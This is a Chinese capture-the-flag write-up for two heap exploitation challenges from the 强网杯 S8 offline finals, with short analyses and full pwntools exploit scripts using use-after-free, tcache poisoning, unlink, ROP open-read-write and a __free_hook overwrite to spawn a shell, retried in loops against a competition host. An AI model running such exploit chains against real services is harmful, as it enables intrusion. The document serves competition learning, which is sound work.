强网杯S8线下PWN WP

heap

题目分析

沙箱,ban了execve

image.png

uaf

image.png

存在一个aes加密,所以摇了密码牛子过来写了点脚本

同时还有一个限制,只能申请堆基址往后一个页偏移的内容

image.png

需要注意的一个点,puts的时候是将堆上的内容拷贝到栈上,同时是puts函数,存在截断符的问题,因此可以提前看栈上有什么内容,从而泄露

image.png

输出时,此时栈上的数据

image.png

因此可以泄露程序的基地址,栈上也有libc,但是没法泄露(悲

存在uaf,因此堆地址可以很容易泄露

同时又存在edit after free,可以去覆盖堆地址的低位,从而覆盖掉key,覆盖完key之后,意味着可以去伪造数据

此时可以伪造数据,意味着可以控制堆块内容,那么很显然的,可以构造出一个double free的原语

1
2
3
4
5
6
7
8
9
10
11
def DF(offset,data=b'\x00'):
pl = b'a' * 0x10
add(0,pl)
add(1,pl)
free(0)
free(1)
pl = offset
edit(1,pl)
add(0,pl)
add(1,pl)
edit(1,data)

通过这个double free,可以泄露libc,注意需要绕过一个条件判断,推荐使用源码调试

因为前面有了程序的基地址,同时堆上的内容都是可控的,那么可以使用unlink,控制booklist

控制了booklist就可以使得任意内容读写

image.png

之后采用的思路就是,通过environ泄露栈地址,然后栈上写rop,orw去cat flag

exp

半成品,无法打通,house of apple 无法触发,原因未知

这个版本house of appple2好像失效了,有时间再研究吧

下方有另一个思路,也就是上面所分析的,是可以打通的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from Crypto.Cipher import AES
from ctypes import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = "debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']

file = b'' + b'./heap'
elf = ELF(file)
libc = ELF('./libc.so.6')

#-------------------------------------------------------------------
s = lambda x: p.send(x)
sa = lambda x,y: p.sendafter(x,y)
sl = lambda x: p.sendline(x)
sla = lambda x,y: p.sendlineafter(x,y)

ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
lg = lambda x,y: log.success(x + str(hex(y)))
itr = lambda : p.interactive()
a = lambda : gdb.attach(p)
#-------------------------------------------------------------------

#-----------------------------DEBUG---------------------------------
global script
script = '''
dir /source/glibc-2.31/malloc
'''

# b *$rebase(0x1AFB)

# b *$rebase(0x)
#heap_1
'''
b *$rebase(0x16CA)
b *$rebase(0x16E2)
b *$rebase(0x170F)
'''

#-----------------------------DEBUG---------------------------------

def start(local = True):
global p
if local:
p = process(file)
else:
p = remote("172.25.14.16",9999)
return p

def debug(DEBUG=True):
if DEBUG is True:
gdb.attach(p,gdbscript=script)
else:
gdb.attach(p)

def data_decode(payload):
key = b'a'*0x8
key = key.ljust(0x10,b'\x00')
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(payload)

def data_encode(payload):
key = b'a'*0x8
key = key.ljust(0x10,b'\x00')
aes = AES.new(key,AES.MODE_ECB)
return aes.encrypt(payload)

def cmd(a):
sla(b'>> ',str(a).encode())

def add(idx,data=b'\x00'):
cmd(1)
sla(b'idx: ',str(idx).encode())
sa(b'content: ',data)

def free(idx):
cmd(2)
sla(b'idx: ',str(idx).encode())

def show(idx):
cmd(3)
sla(b'idx: ',str(idx).encode())

def edit(idx,data=b'\x00'):
cmd(4)
sla(b'idx: ',str(idx).encode())
sa(b'content: ',data)

def DF(offset,data=b'\x00'):
pl = b'a' * 0x10
add(0,pl)
add(1,pl)
free(0)
free(1)
pl = offset
edit(1,pl)
add(0,pl)
add(1,pl)
edit(1,data)

def construct_unsorted_bin():
print()

start()
# forge key ---> b'aaaaaaaa'
DF(p16(0x92a0),b'a'*0x8)
# forge key ---> b'aaaaaaaa'

# hijack tcache struct
pl = b'a' * 0x30
DF(p16(0x9030),pl)
DF(p16(0x9060),pl)
# hijack tcache struct

# leak heap base
pl = data_decode(b'a'*0x30)
add(0,pl)
add(1,pl)
free(0)
free(1)
show(1)

data = p.recv(0x30)
data = data_encode(data)
heap_base = u64(data[0:8]) - 0x440
lg('heap ',heap_base)
# leak heap base

# fix tcache bin
add(3,pl)
add(2,pl)
add(4,pl)
add(5,pl)
add(6,pl)
add(7,pl)
add(8,pl)
add(9,pl)
add(0xa,pl)
for i in range(0x10):
add(0xb,pl)
# fix tcache bin

# leak libc
pl = p64(0x430) + p64(0x431)
pl += p64(0x430) + p64(0x431)
pl += p64(0x430) + p64(0x431)
pl = data_decode(pl)
DF(p64(heap_base+0x430),pl)
DF(p64(heap_base+0x430+0x430),pl)
DF(p64(heap_base+0x430+0x430+0x430),pl)

free(2)
show(2)
data = p.recv(0x30)
data = data_encode(data)
libc_base = u64(data[0:8]) - 96 - 0x1ecb80
lg('libc base: ',libc_base)
# leak libc

# large bin attack
pl = p64(0x460) + p64(0x461)
pl += p64(0x460) + p64(0x461)
pl += p64(0x460) + p64(0x461)
pl = data_decode(pl)
DF(p64(heap_base+0x470),pl)
DF(p64(heap_base+0x470+0x460),pl)
DF(p64(heap_base+0x470+0x460+0x460),pl)
free(3)
add(0xf,pl)
# fix large bin
io_list_all = libc_base + libc.sym['_IO_list_all']
target_heap = heap_base + 0x470#need change
pl = p64(libc_base+0x1ecb80+1120) * 2 + \
p64(target_heap) + p64(io_list_all-0x20)
pl = data_decode(pl)
edit(3,pl)
# fix large bin end
pl = p64(0x450) + p64(0x451)
pl += p64(0x450) + p64(0x451)
pl += p64(0x450) + p64(0x451)
pl = data_decode(pl)
DF(p64(heap_base+0x4b0),pl)
DF(p64(heap_base+0x4b0+0x450),pl)
DF(p64(heap_base+0x4b0+0x450+0x450),pl)
free(4)
add(0xf,pl)
# large bin attack end

# forge data in target heap
openf=libc_base+libc.sym['open']
readf=libc_base+libc.sym['read']
writef=libc_base+libc.sym['write']
setcontext=libc_base+libc.sym['setcontext']
pop_rdi=libc_base+0x0000000000023b6a
pop_rsi=libc_base+0x000000000002601f
pop_rdx_r12=libc_base+0x0000000000119431
ret=libc_base+0x0000000000022679

fake_IO_addr = target_heap
A = fake_IO_addr
B = fake_IO_addr + 0x10
hijack_func = libc_base

payload = b''
payload = payload.ljust(0x78, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(A)
payload = payload.ljust(0xb0, b'\x00')
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym['_IO_wfile_jumps']) + p64(B)
payload = payload.ljust(0xf0, b'\x00')

pl = p64(0) + p64(0x41)
pl = data_decode(pl)
DF(p64(heap_base+0x4A0),pl)

for i in range(5):
# print(i)
# print((payload[0+i*0x30:0x30+i*0x30]))
pl = payload[0+i*0x30:0x30+i*0x30]
pl = data_decode(pl)
DF(p64(heap_base+0x470+0x30*i),pl)

print(hex(len(payload)))
print(hex(setcontext))

debug()

itr()

赛后完善的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from Crypto.Cipher import AES
from ctypes import *
warnings.filterwarnings("ignore", category=BytesWarning)
# context.log_level = "debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']

file = b'' + b'./heap'
elf = ELF(file)
libc = ELF('./libc.so.6')

#-------------------------------------------------------------------
s = lambda x: p.send(x)
sa = lambda x,y: p.sendafter(x,y)
sl = lambda x: p.sendline(x)
sla = lambda x,y: p.sendlineafter(x,y)

ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
lg = lambda x,y: log.success(x + str(hex(y)))
itr = lambda : p.interactive()
end = lambda : p.close()
a = lambda : gdb.attach(p)
#-------------------------------------------------------------------

#-----------------------------DEBUG---------------------------------
global script
script = '''
# dir /source/glibc-2.31/malloc
# b unlink_chunk
b *$rebase(0x1AA4)
b *$rebase(0x1A30)
'''

# b *$rebase(0x1AFB)

# b *$rebase(0x)
#heap_1
'''
b *$rebase(0x16CA)
b *$rebase(0x16E2)
b *$rebase(0x170F)
'''

#-----------------------------DEBUG---------------------------------

def start(local = True):
global p
if local:
p = process(file)
else:
p = remote("172.25.14.16",9999)
return p

def debug(DEBUG=True):
if DEBUG is True:
gdb.attach(p,gdbscript=script)
else:
gdb.attach(p)

def data_decode(payload):
key = b'a'*0x8
key = key.ljust(0x10,b'\x00')
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(payload)

def data_encode(payload):
key = b'a'*0x8
key = key.ljust(0x10,b'\x00')
aes = AES.new(key,AES.MODE_ECB)
return aes.encrypt(payload)

def cmd(a):
sla(b'>> ',str(a).encode())

def add(idx,data=b'\x00'):
cmd(1)
sla(b'idx: ',str(idx).encode())
sa(b'content: ',data)

def free(idx):
cmd(2)
sla(b'idx: ',str(idx).encode())

def show(idx):
cmd(3)
sla(b'idx: ',str(idx).encode())

def edit(idx,data=b'\x00'):
cmd(4)
sla(b'idx: ',str(idx).encode())
sa(b'content: ',data)

def DF(offset,data=b'\x00'):
pl = b'a' * 0x10
add(0,pl)
add(1,pl)
free(0)
free(1)
pl = offset
edit(1,pl)
add(0,pl)
add(1,pl)
edit(1,data)

def attack():
# leak code base
add(0,b'a'*0x10)
show(0)
code_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - 0x1bf0
lg('code base: ',code_base)
free(0)
# leak code base

# forge key ---> b'aaaaaaaa'
DF(p16(0x92a0),b'a'*0x8)
# forge key ---> b'aaaaaaaa'

# hijack tcache struct
pl = b'a' * 0x30
DF(p16(0x9030),pl)
DF(p16(0x9060),pl)
# hijack tcache struct

# leak heap base
pl = data_decode(b'a'*0x30)
add(0,pl)
add(1,pl)
free(0)
free(1)
show(1)

data = p.recv(0x30)
data = data_encode(data)
heap_base = u64(data[0:8]) - 0x440
lg('heap ',heap_base)
# leak heap base

# fix tcache bin
add(3,pl)
add(2,pl)
add(4,pl)
add(5,pl)
add(6,pl)
add(7,pl)
add(8,pl)
add(9,pl)
pl = b'/flag'
add(0xa,pl)
pl = data_decode(b'a'*0x30)
for i in range(0x10):
add(0xb,pl)
# fix tcache bin

# leak libc
pl = p64(0x430) + p64(0x431)
pl += p64(0x430) + p64(0x431)
pl += p64(0x430) + p64(0x431)
pl = data_decode(pl)
DF(p64(heap_base+0x430),pl)
DF(p64(heap_base+0x430+0x430),pl)
DF(p64(heap_base+0x430+0x430+0x430),pl)

free(2)
show(2)
data = p.recv(0x30)
data = data_encode(data)
libc_base = u64(data[0:8]) - 96 - 0x1ecb80
lg('libc base: ',libc_base)
# leak libc

# unlink attack
pl = p64(0x30) + p64(0x500)
pl = pl.ljust(0x30,b'\x00')
pl = data_decode(pl)
DF(p64(heap_base+0x470),pl)

target = code_base + 0x4090
pl = p64(0) + p64(0x31)
pl += p64(target) + p64(target+0x8)
pl = pl.ljust(0x30,b'\x00')
pl = data_decode(pl)
edit(2,pl)

pl = b'a' * 0x10
add(0,pl)
add(1,pl)
free(0)
free(1)
pl = p64(heap_base+0x440)

edit(1,pl)
add(0,pl)
pl = p64(0) + p64(0x31)#size check
pl = data_decode(pl)
add(5,pl)

pl = p64(code_base)
free(3)
# unlink attack
environ = libc_base + libc.sym['__environ']
# print(hex(environ))

# leak stack
pl = p64(environ)

edit(5,pl)

show(2)

data = p.recv(0x30)
data = data_encode(data)
stack = u64(data[0:8])
lg('stack : ',stack)

offset = 0x7fffffffe658 - 0x7fffffffe528
target_stack = stack - offset
xor_rax = libc_base + 0x00000000000b1d69
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
ret = libc_base + 0x0000000000022679
syscall = libc_base + 0x000000000002284d
read_f = libc_base + libc.sym['read']
open_f = libc_base + 0x10df00
sendfile = libc_base + 0x1131c0
puts_f = libc_base + 0x84420

filename = heap_base + 0x640
flag_addr = heap_base + 0xbb0
rop = p64(pop_rdi) + p64(filename) + \
p64(pop_rsi) + p64(0) + p64(open_f) + \
p64(pop_rdi) + p64(3) + \
p64(pop_rsi) + p64(flag_addr) + \
p64(pop_rdx_r12) + p64(0x100) * 2 +p64(read_f) + \
p64(pop_rdi) + p64(flag_addr) + \
p64(puts_f)

# print(hex(len(rop)))
# print(hex(target_stack))
# debug()

for i in range(3):
pl = p64(target_stack + 0x60 - i * 0x30)
# pl = data_decode(pl)
edit(5,pl)
if i == 0:
pl = rop[0x60:0x90]
elif i == 1:
pl = rop[0x30:0x60]
elif i == 2:
pl = rop[0:0x30]
pl = data_decode(pl)
edit(2,pl)

def check(data):
data = data.decode()
pattern = r"flag\{.*?\}"
match = re.search(pattern, data)
if match == None:
return None
else:
return match.group(0)

while True:
try:
start()
attack()
time.sleep(0.05)
data = p.recvall(timeout=0.5)
flag = check(data)
if flag == None:
print("[x] not found flag")
end()
else:
print(flag)
itr()
except:
end()
time.sleep(0.5)

image.png

ez_heap

题目分析

此处的计算可以造成额外大小的申请,因此可以申请到unsorted bin大小的堆块

image.png

此处会造成堆溢出

image.png

打印函数为%s,不难想到通过覆盖低位的截断符号来泄露信息

image.png

那么这里的思路可以通过申请一个unsorted bin,然后去覆盖前面的数据,泄露libc

问题是这里的低二位字节可能会为0,所以这里需要运气(看脸

image.png

那么有了libc就可以通过堆溢出覆盖tcache bin的size,从而达到tcache poison的效果,劫持到free_hook,一把梭了

覆盖之前

image.png

覆盖之后

image.png

覆盖之后接着释放刚才申请的0x40的堆块,此时的bin的情况

image.png

显然可以直接劫持tcache bin,然后一把梭

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = "debug"
context(arch='amd64', os='linux')
context.terminal = ['tmux','splitw','-h']

file = b'' + b'./pwn'
elf = ELF(file)
libc = ELF('./libc-2.31.so')

#-------------------------------------------------------------------
s = lambda x: p.send(x)
sa = lambda x,y: p.sendafter(x,y)
sl = lambda x: p.sendline(x)
sla = lambda x,y: p.sendlineafter(x,y)

ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
lg = lambda x,y: log.success(x + str(hex(y)))
itr = lambda : p.interactive()
end = lambda : p.close()
a = lambda : gdb.attach(p)
#-------------------------------------------------------------------

#-----------------------------DEBUG---------------------------------
global script
script = '''
'''
# b *$rebase(0x)

#-----------------------------DEBUG---------------------------------

def start(local = True):
global p
if local:
p = process(file)
else:
p = remote("172.25.14.16",9999)
return p

def debug(DEBUG=True):
if DEBUG is True:
gdb.attach(p,gdbscript=script)
else:
gdb.attach(p)

def cmd(a):
sla(b'Enter your choice: \n',str(a).encode())

def encode(data):
cmd(1)
sa(b'Enter the text to encode: \n',data)

def decode(data):
cmd(2)
sa(b'Enter the text to decode: \n',data)

def remove_encode(idx):
cmd(3)
sla(b'idx: \n',str(idx).encode())

def remove_decode(idx):
cmd(4)
sla(b'idx: \n',str(idx).encode())

def display_encode(idx):
cmd(5)
sla(b'idx: \n',str(idx).encode())

def display_decode(idx):
cmd(6)
sla(b'idx: \n',str(idx).encode())

def attack():
encode(b'a'*0x400)
encode(b'a'*0x30)
encode(b'a'*0x30)
remove_encode(0)
pl = b'a'*0x9
pl = base64.b64encode(pl)
decode(pl)
display_decode(0)
libc_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - 0x1ed061
lg('libc base: ',libc_base)

remove_decode(0)
pl = b'a'*0x12
pl = base64.b64encode(pl)
decode(pl)
display_decode(0)
# 1/16 但是没用到
heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00'))-0x6161 + 0xa000
lg('heap base: ',heap_base)

decode(base64.b64encode(b'a'*0x30))#1
decode(b'a')#2
decode(b'a')#3
decode(b'a')#4
remove_decode(4)
remove_decode(3)
remove_decode(1)

pl = b'A' * 0x4b
decode(pl)#over next heap size to 0x41
remove_decode(2)

for i in range(3):
if i == 0:
pl = p64(0) * 3 + p64(0x21) + p64(libc_base + libc.sym['__free_hook']) + p64(0)
elif i == 1:
pl = b'/bin/sh\x00'
elif i == 2:
pl = p64(libc_base + libc.sym['system'])
pl = base64.b64encode(pl)
decode(pl)

remove_decode(3)

def check(data):
data = data.decode()
pattern = r"flag\{.*?\}"
match = re.search(pattern, data)
if match == None:
return None
else:
return match.group(0)

while True:
try:
start()
attack()
time.sleep(0.05)
sl(b'cat flag')
data = p.recvall(timeout=0.5)
flag = check(data)
time.sleep(0.05)
# pause()
if flag == None:
print("[x] not found flag")
end()
else:
print(flag)
itr()
except:
end()
time.sleep(0.5)

image.png


强网杯S8线下PWN WP
http://example.com/2024/12/18/强网杯S8线下PWN_WP/
作者
flyyy
发布于
2024年12月18日
许可协议